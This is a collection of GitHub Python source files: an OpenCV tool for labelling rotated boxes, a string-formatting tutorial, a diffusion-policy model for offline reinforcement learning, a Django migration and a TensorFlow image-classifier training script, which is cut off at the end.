{"seq_id":"7334815698","text":"import sys\nsys.path.insert(1, \"/usr/local/lib/python3.5/dist-packages/cv2\")\nsys.path.insert(0, '/opt/installer/open_cv/cv_bridge/lib/python3/dist-packages/')\nimport numpy as np\nimport cv2, os, sys, getopt\nimport argparse\nimport datetime \nfrom math import sqrt,pi,cos,sin,acos,asin\nGeneric_location = os.path.abspath(__file__ + \"/..\")\nprint(\"Generic_location \", Generic_location)\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument('--TrainDIR', type=str, default='', help='path to Trainingdata')\nparser.add_argument('--SaveDIR', type=str, default='Label_txt/', help='path to train.txt')\nparser.add_argument('--DefaultLabel', type=str, default='0', help='Number of object label')\nFLAGS = parser.parse_args()\n\nprint(\"FLAGS.TrainDIR: \", FLAGS.TrainDIR)\n\nday = str(datetime.datetime.now()).split(\" \")[0]\ntime = str(datetime.datetime.now()).split(\" \")[1]\ntime = time.split(\":\")[0] + \"_\" + time.split(\":\")[1] + \"_\" + time.split(\":\")[2].split(\".\")[0]\n\ncurrent_time = day + \"_\" + time + \"_\"\n\n# Global Variables\n\n# Arguments\npathIMG = ''\npathDIR = ''\npathSAV = ''\nregex = ''\n\npathDIR = FLAGS.TrainDIR\npathSAV = FLAGS.SaveDIR\nobject_label = FLAGS.DefaultLabel\n\n#===============\nbboxes = []\nrotation_LU = []\nrotation_LD = []\nrotation_RU = []\nrotation_RD = []\nrotation_cen = []\np = 0\n\nrotate_5 = np.array([[cos(5*pi/180) , -sin(5*pi/180)],\n                    [sin(5*pi/180) , cos(5*pi/180)]])\nrotate_2 = np.array([[cos(2*pi/180) , -sin(2*pi/180)],\n                    [sin(2*pi/180) , cos(2*pi/180)]])\ncurrent_label = FLAGS.DefaultLabel\n#===============\n\n# Graphical\ndrawing = False # true if mouse is pressed\ncropped = False\nix,iy = -1,-1\nrx,ry = -1, -1\nbboxes_thickness = 2\nbboxes_text_size = 1\nbboxes_text_width = 2\n# MISC\nimg_index = 0\n\ndef rectangle_color(bbox_class):\n    bbox_class = int(bbox_class)\n    if bbox_class == 0:\n        color = (255, 0, 0)\n\n    elif bbox_class == 1:\n        color = (0, 255, 0)\n\n    elif bbox_class == 2:\n        color = (0, 0, 255)\n\n    elif bbox_class == 3:\n        color = (128, 0, 0)\n\n    elif bbox_class == 4:\n        color = (128, 0, 128)\n\n    elif bbox_class == 5:\n        color = (32, 154, 0)\n\n    elif bbox_class == 6:\n        color = (0, 112, 112)\n\n    elif bbox_class == 7:\n        color = (60, 200, 200)\n\n    elif bbox_class == 8:\n        color = (10, 160, 255)\n\n    elif bbox_class == 9:\n        color = (255, 100, 0)\n\n    else:\n        color = (128, 128, 128)\n\n    return color\n\n# Mouse callback function\ndef draw(event,x,y,flags,param):\n    global ix, iy, rx, ry, ldx, ldy, rux, ruy, drawing, img, DEFAULT, cropped , pathIMG\n\n    cropped = False\n    \n    img = DEFAULT.copy()\n\n    if event == cv2.EVENT_LBUTTONDOWN:\n        drawing = True\n        ix,iy = x,y\n    elif event == cv2.EVENT_MOUSEMOVE:\n        if drawing == True:\n            if bboxes != None:\n                for i in range(len(bboxes)):\n                    # cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]), rectangle_color(bboxes[i][8]),bboxes_thickness)\n                    cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]), (255, 0, 0),bboxes_thickness)\n            cv2.rectangle(img,(ix,iy),(x,y), rectangle_color(current_label), bboxes_thickness)\n            # cv2.putText(img, str(current_label), (x - 25, y - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, \\\n                # rectangle_color(current_label), bboxes_text_width, cv2.LINE_AA)\n            rx, ry = x, y\n            cv2.imshow(pathIMG, img)\n\n        else:\n            if bboxes != None:\n                for i in range(len(bboxes)):\n                    cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                    cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                    cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                    cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                    # cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]), rectangle_color(bboxes[i][8]), bboxes_thickness)\n                    # cv2.putText(img, str(bboxes[i][4]), (bboxes[i][2] - 25, bboxes[i][3] - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, rectangle_color(bboxes[i][8]), bboxes_text_width, cv2.LINE_AA)\n            # cv2.putText(img, str(current_label), (x - 25, y - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, rectangle_color(current_label), bboxes_text_width, cv2.LINE_AA)\n\n            cv2.line(img,(0,y),(img.shape[1], y),(0,0,255),1)\n            cv2.line(img,(x,0),(x, img.shape[0]),(0,255,255),1)\n            cv2.imshow(pathIMG, img)\n\n        # pass\n\n    elif event == cv2.EVENT_LBUTTONUP:\n        rx, ry = x, y \n        if ix > rx :\n            ix, rx = rx, ix\n        if iy > ry :\n            iy, ry = ry , iy\n        width = abs(ix - rx)\n        height= abs(iy - ry)\n        print(height)\n        ldx = ix \n        ldy = iy + height\n        rux = rx\n        ruy = ry - height\n        \n        bboxes.append([ix, iy, rx, ry, ldx, ldy, rux, ruy])\n        drawing = False\n        \n        print(\"bboxes \", bboxes)\n        for i in range(len(bboxes)):\n            cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]),(0,255,0),bboxes_thickness)\n            # cv2.putText(img, str(bboxes[i][4]), (bboxes[i][2] - 25, bboxes[i][3] - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, rectangle_color(bboxes[i][8]), bboxes_text_width, cv2.LINE_AA)\n\n        cv2.imshow(pathIMG, img)\n\n\n\n# Crop Image\ndef crop(ix,iy,x,y):\n    global img, DEFAULT, cropped\n\n    img = DEFAULT.copy()\n    cv2.imshow(pathIMG,img)\n\n    if (abs(ix - x) < abs(iy -y)):\n        img = img[iy:y, ix:x]\n    else:\n        img = img[iy:y, ix:x]\n\n\ndef WriteboundingRect():\n    global ix, iy, rx, ry,ldx, ldy, rux, ruy, pathIMG, bboxes,IMG\n   \n    line = \"\"\n    \n    for i in range(len(bboxes)):\n        line = line + str(bboxes[i][0]) + ' ' + str(bboxes[i][1]) + '\\n'+ str(bboxes[i][6]) + \\\n            ' ' + str(bboxes[i][7]) + '\\n' + str(bboxes[i][2]) + ' ' +  str(bboxes[i][3]) + \\\n                '\\n' + str(bboxes[i][4]) + ' ' +  str(bboxes[i][5]) + '\\n'\n    # line = str(Generic_location + \"/\" + pathIMG) + line  + '\\n'\n    #line =  line  + '\\n'\n\n    if not os.path.exists(pathIMG):\n        os.makedirs(pathIMG)\n\n    with open(pathSAV +IMG + 'cpos' + '.txt', 'a') as f:\n        f.writelines(line)\n\n    # with open(pathSAV + 'train' + \"_\" + current_time + '.txt', 'a') as f:\n    #     f.writelines(line)\n# Main Loop\ndef loop():\n    global img, pathIMG, current_label,arcsin_len,arccos_lenx,delta_y,p\n    \n     \n    cv2.namedWindow(pathIMG, cv2.WINDOW_AUTOSIZE)\n    cv2.setMouseCallback(pathIMG, draw)\n\n    while (1):\n        cv2.imshow(pathIMG, img)\n        k = cv2.waitKey(1) & 0xFF\n\n        if (k == 27):\n            bboxes.clear()\n            print(\"Cancelled Crop\")\n            break\n\n        elif (k == ord('c')):\n            img = DEFAULT.copy()\n\n            if len(bboxes) != 0:\n                bboxes.pop()\n\n            for i in range(len(bboxes)):\n                cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                # cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]),rectangle_color(bboxes[i][8]),bboxes_thickness)\n                # cv2.putText(img, str(bboxes[i][4]), (bboxes[i][2] - 25, bboxes[i][3] - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, rectangle_color(bboxes[i][8]), bboxes_text_width, cv2.LINE_AA)\n\n            cv2.imshow(pathIMG, img)\n\n            print(\"bboxes \", bboxes)\n\n            pass\n        elif (k == ord('o')):\n            p = p+1\n        elif (k == ord('r')):\n            img = DEFAULT.copy()\n            \n            print(p)\n\n            # for i in range(len(bboxes)):\n                \n            rotation_cen = np.array([[(bboxes[p][0] + bboxes[p][2]) /2], [(bboxes[p][1] + bboxes[p][3]) /2]])\n            print(rotation_cen)\n            # width = abs(bboxes[0][0] - bboxes[0][2])\n            # height= abs(bboxes[0][1] - bboxes[0][3])\n            # diagonal_len = sqrt(width**2 + height**2)\n            #print(rotation_cen)\n            rotation_LU = np.array([[(bboxes[p][0]-rotation_cen[0][0])], [(bboxes[p][1]-rotation_cen[1][0])]])\n            rotation_LD = np.array([[(bboxes[p][4]-rotation_cen[0][0])], [(bboxes[p][5]-rotation_cen[1][0])]])\n            rotation_RD = np.array([[(bboxes[p][2]-rotation_cen[0][0])], [(bboxes[p][3]-rotation_cen[1][0])]])\n            rotation_RU = np.array([[(bboxes[p][6]-rotation_cen[0][0])], [(bboxes[p][7]-rotation_cen[1][0])]])\n            rotation_LU = np.dot(rotate_5, rotation_LU)\n            rotation_LD = np.dot(rotate_5, rotation_LD)\n            rotation_RD = np.dot(rotate_5, rotation_RD)\n            rotation_RU = np.dot(rotate_5, rotation_RU)\n            bboxes[p][0] = int(rotation_LU[0][0]+rotation_cen[0][0])\n            bboxes[p][1] = int(rotation_LU[1][0]+rotation_cen[1][0])\n            bboxes[p][2] = int(rotation_RD[0][0]+rotation_cen[0][0])\n            bboxes[p][3] = int(rotation_RD[1][0]+rotation_cen[1][0])\n            bboxes[p][4] = int(rotation_LD[0][0]+rotation_cen[0][0])\n            bboxes[p][5] = int(rotation_LD[1][0]+rotation_cen[1][0])\n            bboxes[p][6] = int(rotation_RU[0][0]+rotation_cen[0][0])\n            bboxes[p][7] = int(rotation_RU[1][0]+rotation_cen[1][0])\n            #print(bboxes)\n\n\n            for i in range(len(bboxes)):\n                # cv2.rectangle(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][2],bboxes[i][3]),rectangle_color(bboxes[i][4]),bboxes_thickness)\n                cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][0],bboxes[i][1]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][4],bboxes[i][5]),(0,255,0),bboxes_thickness)\n                cv2.line(img,(bboxes[i][2],bboxes[i][3]),(bboxes[i][6],bboxes[i][7]),(0,255,0),bboxes_thickness)\n                # cv2.putText(img, str(bboxes[i][4]), (bboxes[i][2] - 25, bboxes[i][3] - 10), cv2.FONT_HERSHEY_SIMPLEX, bboxes_text_size, rectangle_color(bboxes[i][8]), bboxes_text_width, cv2.LINE_AA)\n\n            cv2.imshow(pathIMG, img)\n\n            print(\"bboxes \", bboxes)\n\n            pass\n\n        elif (k == ord('s')):# and cropped):\n            WriteboundingRect()\n            print(\"======================================\\n\")\n            print(\"                 ||                   \")\n            print(\"                 ||                   \")\n            print(\"                \\||/                   \")\n            print(\"                 \\/                   \\n\")\n            print(\"================Saved=================\")\n            print(\"Data : \", pathIMG)\n            print(\"Label : \", bboxes)\n            print(\"Number of Label :\", len(bboxes))\n            print(\"======================================\\n\")\n\n            bboxes.clear()\n            p = 0\n            #save(img)\n            break\n\n    # print(\"Done!\")\n    cv2.destroyAllWindows()\n\n# Iterate through images in path\ndef getIMG(path):\n    global img, DEFAULT, pathIMG, IMG\n    directory = os.fsencode(path)\n    for filename in os.listdir(directory):\n        # Get Image Path\n        pathIMG = path + filename.decode(\"utf-8\")\n        print(pathIMG)\n        # print(filename)\n        IMG = filename.decode(\"utf-8\").split('r',1)\n        print(IMG)\n        IMG = IMG[0]\n        print(IMG)\n        print(\"======================================\")\n        print(\"Current Data:\", pathIMG)\n\n        # Read Image\n        img = cv2.imread(pathIMG,-1)\n        \n        DEFAULT = img.copy()\n\n        # Draw image\n        loop()\n\n    return 0\n\n# Main Function\ndef main():\n    global img, DEFAULT\n\n    if (pathDIR != ''):\n        # Print Path\n        print(\"pathDIR: \" + pathDIR)\n\n        # Cycle through files\n        getIMG(pathDIR)\n\n    elif (pathIMG != ''):\n        # Print Path\n        print(\"img: \" + pathIMG)\n\n        # Load Image\n        img = cv2.imread(pathIMG,-1)\n        DEFAULT = img.copy()\n\n        # Draw Image\n        loop()\n\n# Run Main\nif __name__ == \"__main__\":\n    main()\n    cv2.destroyAllWindows()\n","repo_name":"SamKaiYang/grcnn_rgb","sub_path":"get_image/script/rotate_labeling_20210417.py","file_name":"rotate_labeling_20210417.py","file_ext":"py","file_size_in_byte":12635,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"35"}
{"seq_id":"40867962958","text":"from p import *\nsplits = \"split \\n strings \\n everywhere\"\np(splits)\n\ntabs = \"1\\t2\\t3\\t\"\np(tabs)\n\nsingle_quote_apostrophe_interpolation = 'bruce said \"he\\'s got this\"'\ndouble_quote_quote_interpolation = \"bruce said \\\"he's got this\\\"\"\np(single_quote_apostrophe_interpolation)\np(double_quote_quote_interpolation)\n\ntriple_quote_split = \"\"\"this is going\nto be\nsplit over\na couple of lines\"\"\"\np(triple_quote_split)\n\ntriple_quote_quote_interpolation = \"\"\"bruce said \"he's got this\" \"\"\"\n#leaves a space at the end\np(triple_quote_quote_interpolation)\ntriple_quote_quote_interpolation2 = '''bruce said \"he's got this\"'''\np(triple_quote_quote_interpolation2)\n\n#3.6 interpolation\nage = 39\nstring = f\"I am {age} years old\"\np(string)\n\nparrot = 'norwiegen blue'\np(parrot[6])\np(parrot[-1])\n\n#slicing, different from ruby bc this is a range\n#does not inclue last integer, very frustrating\np(parrot[0:6])\np(parrot[:6])\np(parrot[1:6])\n\np(parrot[6:-1])\np(parrot[6:])\n#doesn't work\np(parrot[6:0])\n# skip by x\np(parrot[0:6:2])\np(parrot[0::2])\n#misc\np('what' 'is' 'up')\np('hello' *5)\n\n#other interpolation\n# p(\"My age is \" + str{age} + \" years\")\n#not functioning in 3,6\np(\"my age is {0} years\".format(age))\n#relational assignment 0,1,2 = a, b, c\np(\"my age is {0} and you are not {0}. you are {1}\".format(age, 44))\n#python 2 assignment\n# % and data type\np(\"my age is %d is years\" % age)\np(\"my age is %d %s, %d %s\" % (age, 'years', 6, 'months'))\n\nfor i in range(1,6):\n    #number after percent means the number of availbale spaces to replace(width)\n    p(\"No. %2d squared is %4d and cubed is %4d\" %(i, i **2, i**3))\nfor i in range(1,6):\n    p(\"No. %d squared is %d and cubed is %d\" %(i, i **2, i**3))\nfor i in range(1,6):\n    #second number is the width\n    # < left justify\n    p(\"No. {0:1} squared is {1:2} and cubed is {2:<3}\".format(i, i **2, i**3))\n\np(\"pi is ~ %f\" % (22/7))\np(\"pi is ~ %.50f\" % (22/7))\n#if f is left out it becomes a range for decimals and misses the last one\np(\"pi is ~ {0:.50f}\".format(22/7))\n","repo_name":"clousr/python","sub_path":"beggining_strings.py","file_name":"beggining_strings.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"2836611064","text":"import zipfile\nimport re\n\n\n\nall_fields={}\n\nwith zipfile.ZipFile(\"zips/FieldsOfStudy.zip\") as z:\n\twith z.open(\"FieldsOfStudy.txt\") as f:\n\t\ti=0\n\t\tfor line in f:\n\t\t\t# print line;\n\t\t\tstudyID,studyName = line.split('\\t')\n\t\t\tif(studyName == None or studyName == \"None\"):\n\t\t\t\tcontinue\n\t\t\ti=i+1;\n\t\t\tx=[]\n\t\t\tx.append(studyName)\n\t\t\t# words = studyName.split()\n\t\t\tall_fields[studyID]=studyName\n\t\t\tif(i==100000):\n\t\t\t\tbreak\n\ninv_map = {v: k for k, v in all_fields.iteritems()}\nwhile(1):\n\tname = raw_input(\"enter FOS name:\")\n\tprint(inv_map.get(name))\n\tfosid_input = raw_input(\"enter id:\")\n\tprint(all_fields.get(fosid_input))","repo_name":"RTG8055/IIT-BHU","sub_path":"get_fos_name.py","file_name":"get_fos_name.py","file_ext":"py","file_size_in_byte":610,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"1429114413","text":"import copy\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nfrom agents.helpers import (cosine_beta_schedule,\n                            linear_beta_schedule,\n                            vp_beta_schedule,\n                            extract,\n                            Losses)\nfrom utils.utils import Progress, Silent\n\n\nclass Diffusion(nn.Module):\n    def __init__(self, state_dim, action_dim, model, max_action,\n                 beta_schedule='linear', n_timesteps=100,\n                 loss_type='l2', clip_denoised=True, predict_epsilon=True):\n        super(Diffusion, self).__init__()\n\n        self.state_dim = state_dim\n        self.action_dim = action_dim\n        self.max_action = max_action\n        self.model = model\n\n        if beta_schedule == 'linear':\n            betas = linear_beta_schedule(n_timesteps)\n        elif beta_schedule == 'cosine':\n            betas = cosine_beta_schedule(n_timesteps)\n        elif beta_schedule == 'vp':\n            betas = vp_beta_schedule(n_timesteps)\n\n        alphas = 1. - betas\n        alphas_cumprod = torch.cumprod(alphas, axis=0)\n        alphas_cumprod_prev = torch.cat([torch.ones(1), alphas_cumprod[:-1]])\n\n        self.n_timesteps = int(n_timesteps)\n        self.clip_denoised = clip_denoised\n        self.predict_epsilon = predict_epsilon\n\n        self.register_buffer('betas', betas)\n        self.register_buffer('alphas_cumprod', alphas_cumprod)\n        self.register_buffer('alphas_cumprod_prev', alphas_cumprod_prev)\n\n        # calculations for diffusion q(x_t | x_{t-1}) and others\n        self.register_buffer('sqrt_alphas_cumprod', torch.sqrt(alphas_cumprod))\n        self.register_buffer('sqrt_one_minus_alphas_cumprod', torch.sqrt(1. - alphas_cumprod))\n        self.register_buffer('log_one_minus_alphas_cumprod', torch.log(1. - alphas_cumprod))\n        self.register_buffer('sqrt_recip_alphas_cumprod', torch.sqrt(1. / alphas_cumprod))\n        self.register_buffer('sqrt_recipm1_alphas_cumprod', torch.sqrt(1. / alphas_cumprod - 1))\n\n        # calculations for posterior q(x_{t-1} | x_t, x_0)\n        posterior_variance = betas * (1. - alphas_cumprod_prev) / (1. - alphas_cumprod)\n        self.register_buffer('posterior_variance', posterior_variance)\n\n        ## log calculation clipped because the posterior variance\n        ## is 0 at the beginning of the diffusion chain\n        self.register_buffer('posterior_log_variance_clipped',\n                             torch.log(torch.clamp(posterior_variance, min=1e-20)))\n        self.register_buffer('posterior_mean_coef1',\n                             betas * np.sqrt(alphas_cumprod_prev) / (1. - alphas_cumprod))\n        self.register_buffer('posterior_mean_coef2',\n                             (1. - alphas_cumprod_prev) * np.sqrt(alphas) / (1. - alphas_cumprod))\n\n        self.loss_fn = Losses[loss_type]()\n\n    # ------------------------------------------ sampling ------------------------------------------#\n\n    def predict_start_from_noise(self, x_t, t, noise):\n        '''\n            if self.predict_epsilon, model output is (scaled) noise;\n            otherwise, model predicts x0 directly\n        '''\n        if self.predict_epsilon:\n            return (\n                    extract(self.sqrt_recip_alphas_cumprod, t, x_t.shape) * x_t -\n                    extract(self.sqrt_recipm1_alphas_cumprod, t, x_t.shape) * noise\n            )\n        else:\n            return noise\n\n    def q_posterior(self, x_start, x_t, t):\n        posterior_mean = (\n                extract(self.posterior_mean_coef1, t, x_t.shape) * x_start +\n                extract(self.posterior_mean_coef2, t, x_t.shape) * x_t\n        )\n        posterior_variance = extract(self.posterior_variance, t, x_t.shape)\n        posterior_log_variance_clipped = extract(self.posterior_log_variance_clipped, t, x_t.shape)\n        return posterior_mean, posterior_variance, posterior_log_variance_clipped\n\n    def p_mean_variance(self, x, t, s):\n        x_recon = self.predict_start_from_noise(x, t=t, noise=self.model(x, t, s))\n\n        if self.clip_denoised:\n            x_recon.clamp_(-self.max_action, self.max_action)\n        else:\n            assert RuntimeError()\n\n        model_mean, posterior_variance, posterior_log_variance = self.q_posterior(x_start=x_recon, x_t=x, t=t)\n        return model_mean, posterior_variance, posterior_log_variance\n\n    # @torch.no_grad()\n    def p_sample(self, x, t, s):\n        b, *_, device = *x.shape, x.device\n        model_mean, _, model_log_variance = self.p_mean_variance(x=x, t=t, s=s)\n        noise = torch.randn_like(x)\n        # no noise when t == 0\n        nonzero_mask = (1 - (t == 0).float()).reshape(b, *((1,) * (len(x.shape) - 1)))\n        return model_mean + nonzero_mask * (0.5 * model_log_variance).exp() * noise\n\n    # @torch.no_grad()\n    def p_sample_loop(self, state, shape, verbose=False, return_diffusion=False):\n        device = self.betas.device\n\n        batch_size = shape[0]\n        x = torch.randn(shape, device=device)\n\n        if return_diffusion: diffusion = [x]\n\n        progress = Progress(self.n_timesteps) if verbose else Silent()\n        for i in reversed(range(0, self.n_timesteps)):\n            timesteps = torch.full((batch_size,), i, device=device, dtype=torch.long)\n            x = self.p_sample(x, timesteps, state)\n\n            progress.update({'t': i})\n\n            if return_diffusion: diffusion.append(x)\n\n        progress.close()\n\n        if return_diffusion:\n            return x, torch.stack(diffusion, dim=1)\n        else:\n            return x\n\n    # @torch.no_grad()\n    def sample(self, state, *args, **kwargs):\n        batch_size = state.shape[0]\n        shape = (batch_size, self.action_dim)\n        action = self.p_sample_loop(state, shape, *args, **kwargs)\n        return action.clamp_(-self.max_action, self.max_action)\n\n    # ------------------------------------------ training ------------------------------------------#\n\n    def q_sample(self, x_start, t, noise=None):\n        if noise is None:\n            noise = torch.randn_like(x_start)\n\n        sample = (\n                extract(self.sqrt_alphas_cumprod, t, x_start.shape) * x_start +\n                extract(self.sqrt_one_minus_alphas_cumprod, t, x_start.shape) * noise\n        )\n\n        return sample\n\n    def p_losses(self, x_start, state, t, weights=1.0):\n        noise = torch.randn_like(x_start)\n\n        x_noisy = self.q_sample(x_start=x_start, t=t, noise=noise)\n\n        x_recon = self.model(x_noisy, t, state)\n\n        assert noise.shape == x_recon.shape\n\n        if self.predict_epsilon:\n            loss = self.loss_fn(x_recon, noise, weights)\n        else:\n            loss = self.loss_fn(x_recon, x_start, weights)\n\n        return loss\n\n    def loss(self, x, state, weights=1.0):\n        batch_size = len(x)\n        t = torch.randint(0, self.n_timesteps, (batch_size,), device=x.device).long()\n        return self.p_losses(x, state, t, weights)\n\n    def forward(self, state, *args, **kwargs):\n        return self.sample(state, *args, **kwargs)\n\n","repo_name":"Zhendong-Wang/Diffusion-Policies-for-Offline-RL","sub_path":"agents/diffusion.py","file_name":"diffusion.py","file_ext":"py","file_size_in_byte":7045,"program_lang":"python","lang":"en","doc_type":"code","stars":124,"dataset":"github-code","pt":"35"}
{"seq_id":"72276202661","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n        ('designweb', '0009_order_payment_method'),\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='GroupDetails',\n            fields=[\n                ('id', models.AutoField(serialize=False, verbose_name='ID', primary_key=True, auto_created=True)),\n                ('join_date', models.DateTimeField(auto_now_add=True)),\n                ('email', models.CharField(max_length=70)),\n                ('is_sent', models.BooleanField(default=False)),\n                ('group', models.ForeignKey(to='designweb.MicroGroup', related_name='group_detail')),\n                ('member', models.ForeignKey(to=settings.AUTH_USER_MODEL, related_name='group_detail')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n    ]\n","repo_name":"yansong10101/onedots","sub_path":"designweb/migrations/0010_groupdetails.py","file_name":"0010_groupdetails.py","file_ext":"py","file_size_in_byte":1056,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"21478085184","text":"\n\"\"\"Train and save the model\"\"\"\n\nimport tensorflow as tf \nimport numpy as np \nimport os \nimport argparse\nimport sys\nfrom datetime import datetime \n\nimport matplotlib\nmatplotlib.use('Agg')\nimport matplotlib.pyplot as plt\nplt.ioff()\n\nfrom configuration import ModelConfig, TrainingConfig\nfrom build_graph import *\nfrom data_utils import dataset\nfrom vis_utils import visualize_grid\n\nFLAGS = None\nmodelName = 'model_ema'\nPLOT_WEIGHTS_EVERY_EPOCH = 5\n\nconfigModel = ModelConfig()\nconfigTrain = TrainingConfig()\n\ntraining_loss = []\nvalidation_loss = []\nvalidation_accu = []\n\ndef train_model_for_one_epoch(iterations, train_x, train_y, model, sess, config, record_train_loss = False):\n\n    num_images = len(train_x)\n    for i in range(iterations):\n        # Create a random index.\n        idx = np.random.choice(num_images,\n                               size=config.batch_size,\n                               replace=False)\n        batch_x = train_x[idx, :, :, :]\n        batch_y = train_y[idx, :]\n\n        \n        _, temp_loss = sess.run([model['train_step'], model['loss']], feed_dict={model['x_image']: batch_x, \\\n                                                                                     model['y']: batch_y, \\\n                                                                                     model['is_training']: True, \\\n                                                                                     model['keep_prob']:config.keep_rate})\n        if record_train_loss: \n            training_loss.append(temp_loss)\n\n\n\ndef generate_prediction(val_x, val_y, model, sess, list_to_pred):\n\n    predictions = sess.run([model[p] for p in list_to_pred], feed_dict={model['x_image']: val_x, \\\n                                                                        model['y']: val_y, \\\n                                                                        model['is_training']: False, \\\n                                                                        model['keep_prob']: 1.0})\n    return predictions\n\ndef plot_training_loss(train_loss, saveName):\n\n    plt.title('Training loss')\n    plt.plot(train_loss)\n    plt.xlabel('No. of training iteractions')\n    plt.ylabel('Training losses')\n    plt.savefig(saveName)\n    plt.close()\n    print(\"training losses saved at: \", saveName)\n\ndef plot_val_loss_n_accuracy(validation_loss, validation_accu, saveName):\n\n    fig, ax1 = plt.subplots()\n    ax1.plot(range(len(validation_loss)), validation_loss, 'b', )\n    ax1.set_xlabel('No. of training epochs')\n    ax1.set_ylabel('Val losses', color='b')\n    ax1.tick_params('y', colors='b')\n\n    ax2 = ax1.twinx()\n    ax2.plot(range(len(validation_accu)), validation_accu, 'g')\n    ax2.set_ylabel('Val accuracy', color='g')\n    ax2.tick_params('y', colors='g')\n    fig.tight_layout()\n    plt.savefig(saveName)\n    plt.close()\n    print(\"Validation losses and accuracy are saved: \", saveName)\n\ndef vis_activations_from_model(train_data, model, sess, save_dir, seed=10):\n\n    np.random.seed(seed)\n    idx = np.random.choice(train_data.shape[0],\n          size=1,\n          replace=False)\n    img = train_data[idx[0], :, :, :]\n    ## visualize layer-1 kernel weights in grid \n    img = np.expand_dims(img, 0)\n    h_conv1_1 = sess.run(model['h_conv1_1'], feed_dict={model['x_image']:img})\n    h_conv1_1 = h_conv1_1.transpose(3, 1, 2, 0)   # reshape to: (N, H, W, 1)\n    vis_grid = visualize_grid(h_conv1_1, grey = True)\n    plot_weights_in_grid(vis_grid, os.path.join(save_dir, 'vis_activations.png'))\n\ndef plot_weights_in_grid(vis_grid, saveName, gray = True):\n\n    if gray:\n        plt.imshow(vis_grid.astype('uint8'), cmap = 'gray')\n    else:\n        plt.imshow(vis_grid.astype('uint8'))\n    plt.axis('off')\n    plt.gcf().set_size_inches(5, 5)\n    plt.savefig(saveName)\n    plt.close()\n    print(\"Visualization is saved at: \", saveName)\n\ndef main(_):\n\n    # download and load data sets\n    alldata = dataset(FLAGS.trainDir)\n    alldata.maybe_download_and_extract()\n    train_data, _, train_labels = alldata.load_training_data()\n    test_data, _, test_labels = alldata.load_test_data()\n    class_names = alldata.load_class_names()\n\n    iterations = int(train_data.shape[0] / configTrain.batch_size) # total training iterations in each epoch\n\n    tf.reset_default_graph()\n    g = tf.Graph()\n    with g.as_default():\n\n        model = build_graph(configModel)\n\n        init = tf.global_variables_initializer()\n\n        with tf.Session() as sess:\n            sess.run(init)\n\n            ## start training epochs\n            epoch = 1\n            while epoch <= configTrain.epochs:\n\n                now = datetime.now()\n                train_model_for_one_epoch(iterations, train_data, train_labels, model, sess, configTrain, record_train_loss = True)\n                used_time = datetime.now() - now\n\n                print(\"\\nEpoch round \", epoch, ' used {0} seconds. '.format(used_time.seconds))\n                \n                val_loss, val_accuracy = generate_prediction(test_data, test_labels, model, sess, ['loss', 'accuracy'])\n                validation_loss.append(val_loss)\n                validation_accu.append(val_accuracy)\n                print(\"Valiation loss \", val_loss, \" and accuracy \", val_accuracy)\n\n                ## if required, visualize activations from image \n                if configTrain.vis_weights_every_epoch > 0 and epoch % configTrain.vis_weights_every_epoch == 0:\n\n                    vis_activations_from_model(train_data, model, sess, FLAGS.trainDir, 10)\n\n                epoch += 1\n\n            ## upon training done, plot training & validation losses and validation accuracy\n            print(\"training done.\")\n            plot_training_loss(training_loss, os.path.join(FLAGS.trainDir, 'train_losses.png'))\n            plot_val_loss_n_accuracy(validation_loss, validation_accu, os.path.join(FLAGS.trainDir, 'val_losses_n_accuracy.png'))\n\n            ## save trained session\n            if not os.path.exists(FLAGS.savedSessionDir):\n                